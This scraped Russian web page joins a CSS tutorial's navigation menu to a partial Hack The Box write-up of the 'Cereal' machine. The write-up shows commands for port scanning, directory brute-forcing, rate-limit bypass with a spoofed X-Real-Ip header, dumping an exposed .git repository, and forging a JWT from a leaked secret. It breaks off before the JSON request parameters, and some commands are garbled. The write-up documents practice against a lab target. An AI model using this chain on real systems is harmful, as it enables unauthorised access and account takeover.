Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
IP машины — 10.
, добавляем его в /
.
10.10.10.217 cereal.htb
И переходим к сканированию портов:
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаВ результате работы скрипта узнаем список открытых портов и работающих служб:
SSH пока что пропускаем, поскольку учетных данных у нас нет. Веб‑сервер с 80-го порта перенаправляет на 443-й порт. При этом в SSL-сертификате указано доменное имя source.
— тоже добавляем его в /
.
10.10.10.217 source.cereal.htb
Теперь выполняем запрос в браузере, и нас переносит с 80-го порта на 443-й, затем заставляют подтвердить, что мы принимаем риски, связанные с безопасностью. Опасность будет происходить как раз от нас, так что без проблем подтверждаем. И попадаем на форму авторизации.
Если же обратиться по найденному доменному имени, то получим ошибку Server
.
Нам не доступно почти ничего интересного, а значит, следует прибегнуть к перебору каталогов. Для этого есть такие программы, как dirsearch, DIRB и gobuster, который я и использую, поскольку он показал себя как самый быстрый.
Вот команда, которую я использовал:
gobuster dir -t 128 -uhttps://cereal.htb/-k -w/usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -xphp,html,aspx --timeout 30s
А вот что означает каждый параметр:
dir
— сканирование директорий и файлов;-t []
— количество потоков;-u []
— URL-адрес для сканирования;-k
— не проверять сертификат;-w []
— словарь для перебора;--timeout []
— время ожидания ответа;-x []
— искать файлы со следующими расширениями (указываем ASPX, поскольку целевой веб‑сервер работает на Microsoft IIS).Но при попытке перебрать скрытые каталоги на сайте cereal.
мы получаем бан, что может означать наличие WAF. Давай проверим, так ли это. Для этого отправим запрос на авторизацию и перехватим его в Burp, после чего перенаправим в Repeater (комбинация Ctrl + R) и посмотрим ответ.
В ответе видим заголовки X-Rate-Limit-Limit
и X-Rate-Limit-Remaining
. Данные заголовки сообщают, что на пять минут у нас осталось 149 запросов. Можно попробовать обойти ограничение, вставив в запрос следующие заголовки:
Из этого сработал X-Real-Ip
: если добавить этот заголовок, то в ответе будут отсутствовать хедеры X-Rate-Limit-Limit
и X-Rate-Limit-Remaining
.
Сканируем повторно, уже с использованием X-Real-Ip
(опция -H
), и сталкиваемся с другой проблемой: сервер на запросы несуществующих страниц не отвечает кодом ошибки, а радостно возвращает 200
(«Успешный результат»).
gobuster dir -t 128 -uhttps://cereal.htb/-k -w/usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -xphp,html,aspx --timeout 30s -H 'X-Real-Ip: 127.0.0.1' --wildcard
В таком случае стоит выбрать другой критерий оценки, к примеру размер ответа в байтах — для существующей и несуществующей страницы он будет разным. Для сканирования возьмем ffuf, поскольку он умеет исключать из вывода ответы в зависимости от их размера (опция -fs
).
ffuf -H 'X-Real-Ip: 127.0.0.1' -w/usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -uhttps://cereal.htb/FUZZ -fs 1948
Результат сканирования каталогов с помощью ffufНаходим только одну страницу, которая предположительно должна принимать определенные параметры. Для сканирования другого сайта, где нам встретилась ошибка, используем gobuster, благо там нет никаких блокировщиков.
gobuster dir -t 128 -uhttps://source.cereal.htb/-k -w/usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -xphp,html,aspx --timeout 30s
Результат сканирования каталогов с помощью ffufНам попался каталог .
, а это значит, что мы можем попытаться скачать весь репозиторий.
Для загрузки репозиториев я обычно использую пакет скриптов dvcs-ripper. Запускаем rip-git
со следующими аргументами:
-s
— не проверять сертификат;-v
— вести логирование;-u
— URL репозитория.
./rip-git.pl -s -v -u https://source.cereal.htb/.git/
Результат сканирования Git-репозиторияДавай глянем историю коммитов. Для анализа и разбора репозиториев Git я обычно использую Gitk. Просматривая код Services/
, находим секрет JWT, а также данные, из которых формируется JWT, — это ID пользователя и дата через семь дней.
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, а нагрузка может быть любой — это именно те критические данные, которые передаются приложению. У заголовка есть следующие поля:
alg
— алгоритм, используемый для подписи/шифрования. Является обязательным ключом;typ
— тип токена. Это поле должно иметь значение JWT
;cty
— тип содержимого.Третий элемент вычисляется на основании первых двух и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм кодирования Base64-URL, после чего добавляется подпись и все три элемента разделяются точками. Вот пример токена, взятый из Википедии.
Попробуем сгенерировать себе токен. Для этого нам понадобится либо приложение jwt_tool, либо сервис jwt.io. Я использовал jwt_tool. Так как с заголовком все ясно, давай разберемся с данными: ключ name
будет содержать идентификатор 1
, а ключ exp
— текущую дату плюс семь дней.
date -d "+7 days" +%s
echo -n '{"name": "1", "exp":[дата]}' | base64 -w0 ; echo
echo -n '{"alg": "HS256", "typ":"JWT"}' | base64 -w0 ; echo
python3 jwt_tool.py -b -Shs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' [заголовок].[данные].
Генерирование JWTУ нас есть токен для доступа, но страница requests
требует параметры в формате JSON, о чем свидетельствуют класс Request
в файле Models/
и функция requestCereal
из файла ClientApp/
.
Анализируя исходники далее, узнаем и сами параметры из файла ClientApp/
.
|
|